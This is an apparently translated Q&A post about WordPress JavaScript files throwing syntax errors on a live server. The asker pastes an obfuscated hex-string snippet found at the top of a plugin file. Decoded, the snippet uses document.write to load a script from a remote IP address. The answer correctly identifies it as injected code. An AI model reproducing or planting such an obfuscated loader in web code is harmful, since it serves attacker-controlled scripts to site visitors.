SyntaxError:missing;在wordpress中声明错误之前

时间:2017-06-22 13:11:23

标签: javascript php wordpress

所有在localhost中工作正常,但在实时服务器中,突然间我得到了每个js文件的上述错误。

我在wp_enqueue_scripts中注释了functions.php,看看错误是否消失,但它仍然存在。

还添加了以下字符串,认为字符串连接可能导致它。

//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);

我无法找出可能导致此问题的原因。请建议我。我可以提供我的网站访问权限。

编辑:

我打开了控制台中显示的一个插件文件,其中包含错误备注。在实际代码开始之前注意到奇怪的字符串。我怀疑这可能是问题所在。

这是wordpress的某种前缀还是来自其他地方的不需要的字符串?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {

    var meta_image_frame;
    var meta_mobileimage_frame;

        // Runs when the image button is clicked.
        jQuery('#banner_manager_image_button').click(function(e){

        ....plugins js code-----
        });


});

1 个答案:

答案 0 :(得分:1)

_0xaae8之前;遗失jQuery(document).ready(

此代码:var _0xaae8=[...看起来像注入代码。通常我看到这些代码通过一些糟糕的书面工具/插件/库注入,允许用户使用文件(比如将文件上传到服务器)。我建议删除它,如果它不是你的代码,也检查服务器上的其他文件。